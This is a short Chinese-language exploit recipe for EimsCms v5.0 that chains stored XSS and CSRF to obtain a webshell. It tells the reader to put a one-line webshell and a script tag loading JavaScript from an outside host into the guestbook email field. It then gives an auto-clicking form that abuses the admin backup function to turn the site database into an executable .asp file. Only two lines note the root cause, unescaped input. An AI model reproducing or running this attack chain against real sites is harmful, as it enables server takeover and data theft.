------GetShell-----

[1] 在Book.asp的郵箱處填寫一句話,提交
[2] 在Book.asp的郵箱處填寫XSS語句中的CSRF
[3] 等待管理員觸發XSS語句,然后一句話連接bem.asp
[要求] 默認后臺管理目錄/數據庫
[注意] 管理觸發XSS是在后臺查看留言

------ X S S -----

Book.asp
在郵箱里處寫入XSS語句即可
用XSS調用CSRF,例如把CSRF去轉成JS的則用
<script SRC=http://521.im/xss.js></script&gt;

-----  CSRF  -----

<form method="post" action="http://127.0.0.1:99/admin/DataM.asp?eims=Data&Action=bfstart">
<input name="olddata" type="text" id="olddata" value="../Data/eimsCMS.mdb" size="45" readonly>
<input name="newdata" type="text" id="newdata" size="45" value="../bem.asp">
<input type="submit" name="Submit" value="開始備份" id="bem"/>
</form>
<script>
document.getElementByIdx_x('bem').click();
</script>

----- 分析  -----

未對Book.asp郵箱等處進行符號轉義
未過濾提交語句

關健詞：EimsCms v5.0